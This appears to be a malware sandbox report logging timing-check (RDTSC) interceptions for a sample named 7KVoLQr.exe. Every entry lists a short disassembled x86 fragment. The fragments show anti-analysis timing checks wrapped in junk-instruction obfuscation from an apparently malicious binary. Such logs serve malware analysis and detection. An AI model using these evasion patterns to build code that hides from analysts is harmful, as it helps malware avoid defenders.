Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 652336 second address: 65238F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FD0810EDB08h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov di, cx 0x00000029 push 00000000h 0x0000002b add dword ptr [ebp+192A5735h], ecx 0x00000031 mov edi, dword ptr [ebp+192A232Eh] 0x00000037 push 00000000h 0x00000039 mov edi, dword ptr [ebp+192A1AB8h] 0x0000003f mov edi, dword ptr [ebp+192A294Eh] 0x00000045 push eax 0x00000046 push edi 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65324F second address: 653253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 653253 second address: 65326A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65326A second address: 653274 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FD080DDA656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 653274 second address: 653305 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FD0810EDB0Bh 0x00000011 nop 0x00000012 mov dword ptr [ebp+192A1B46h], edi 0x00000018 push 00000000h 0x0000001a jmp 00007FD0810EDB15h 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007FD0810EDB08h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b je 00007FD0810EDB0Bh 0x00000041 mov edi, 55E1DD11h 0x00000046 mov dword ptr [ebp+192A18BFh], ebx 0x0000004c xchg eax, esi 0x0000004d jmp 00007FD0810EDB16h 0x00000052 push eax 0x00000053 push esi 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65523A second address: 655292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007FD080DDA656h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FD080DDA658h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b jmp 00007FD080DDA65Fh 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 add dword ptr [ebp+192A2AE9h], edi 0x00000039 pop ebx 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d js 00007FD080DDA658h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 655292 second address: 6552AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d jnl 00007FD0810EDB06h 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6552AB second address: 6552B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6552B1 second address: 6552B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6552B5 second address: 6552B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65822E second address: 658234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 658234 second address: 658238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6594DF second address: 6594E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65255D second address: 652561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 652561 second address: 652567 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 652567 second address: 65256D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65256D second address: 65257A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 653526 second address: 65352C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65634A second address: 65635B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jng 00007FD0810EDB06h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6563F2 second address: 6563F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6563F6 second address: 6563FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6583AE second address: 6583B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 658484 second address: 65848C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65B5CF second address: 65B65E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD080DDA65Ch 0x00000008 jg 00007FD080DDA656h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 clc 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FD080DDA658h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007FD080DDA658h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 00000017h 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c mov ebx, dword ptr [ebp+192A371Ch] 0x00000052 xchg eax, esi 0x00000053 pushad 0x00000054 pushad 0x00000055 pushad 0x00000056 popad 0x00000057 jmp 00007FD080DDA65Ah 0x0000005c popad 0x0000005d jmp 00007FD080DDA668h 0x00000062 popad 0x00000063 push eax 0x00000064 push ecx 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65B65E second address: 65B662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65D5EA second address: 65D5FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65D5FF second address: 65D604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65D604 second address: 65D60A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65C779 second address: 65C783 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65C783 second address: 65C787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65C834 second address: 65C83A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65C83A second address: 65C83E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65E802 second address: 65E821 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD0810EDB15h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65E821 second address: 65E827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 65F8D8 second address: 65F8DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6608FA second address: 660907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 662775 second address: 66278A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FD0810EDB06h 0x00000009 jnp 00007FD0810EDB06h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 617256 second address: 617274 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA660h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 617274 second address: 617284 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD0810EDB06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 617284 second address: 617288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 664790 second address: 664794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 664794 second address: 6647A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD080DDA656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007FD080DDA656h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6647A9 second address: 6647AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6647AD second address: 6647B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 60EB38 second address: 60EB42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD0810EDB06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 60EB42 second address: 60EB72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FD080DDA656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007FD080DDA66Bh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 pop eax 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 66AF3B second address: 66AF47 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 66AF47 second address: 66AF76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA65Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD080DDA662h 0x00000010 popad 0x00000011 js 00007FD080DDA68Bh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 66AF76 second address: 66AF7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 66B0F0 second address: 66B0F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 66B3C8 second address: 66B3ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 jmp 00007FD0810EDB0Ah 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push edx 0x00000010 jmp 00007FD0810EDB0Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6710C1 second address: 6710CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD080DDA656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6710CB second address: 6710CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6710CF second address: 671101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007FD080DDA668h 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 671101 second address: 671124 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 671124 second address: 671129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 671129 second address: 67112F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6156D2 second address: 6156D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6156D7 second address: 6156DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 675F91 second address: 675F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 676130 second address: 676136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 676136 second address: 67614E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD080DDA664h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6762FC second address: 676307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 676489 second address: 6764A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD080DDA656h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FD080DDA656h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6764A0 second address: 6764B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB0Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FD0810EDB06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 67A261 second address: 67A265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6474B2 second address: 647510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jnp 00007FD0810EDB06h 0x0000000c jne 00007FD0810EDB06h 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 jng 00007FD0810EDB13h 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jne 00007FD0810EDB06h 0x00000025 popad 0x00000026 popad 0x00000027 nop 0x00000028 mov ecx, edi 0x0000002a lea eax, dword ptr [ebp+1937B26Fh] 0x00000030 mov cl, CEh 0x00000032 nop 0x00000033 jmp 00007FD0810EDB14h 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jbe 00007FD0810EDB06h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 647510 second address: 647523 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 647523 second address: 631A65 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD0810EDB06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov dword ptr [ebp+192A208Fh], esi 0x00000012 call dword ptr [ebp+192A2B3Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64765A second address: 647660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 647660 second address: 647664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 647664 second address: 647684 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD080DDA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD080DDA660h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 647BD6 second address: 647C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jng 00007FD0810EDB18h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 647C00 second address: 647C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 647CCA second address: 647CE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 647CE9 second address: 647CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 647DCD second address: 647DE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0810EDB14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 647DE5 second address: 647DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6480CC second address: 648107 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FD0810EDB0Ch 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD0810EDB15h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 648107 second address: 648174 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD080DDA665h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c xor dword ptr [ebp+192A18BAh], ebx 0x00000012 push 00000004h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FD080DDA658h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e call 00007FD080DDA667h 0x00000033 jg 00007FD080DDA659h 0x00000039 pop edi 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push esi 0x00000040 pop esi 0x00000041 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 648174 second address: 64817E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD0810EDB06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64817E second address: 648188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD080DDA656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 648188 second address: 64818C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64862F second address: 648649 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD080DDA65Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b js 00007FD080DDA664h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
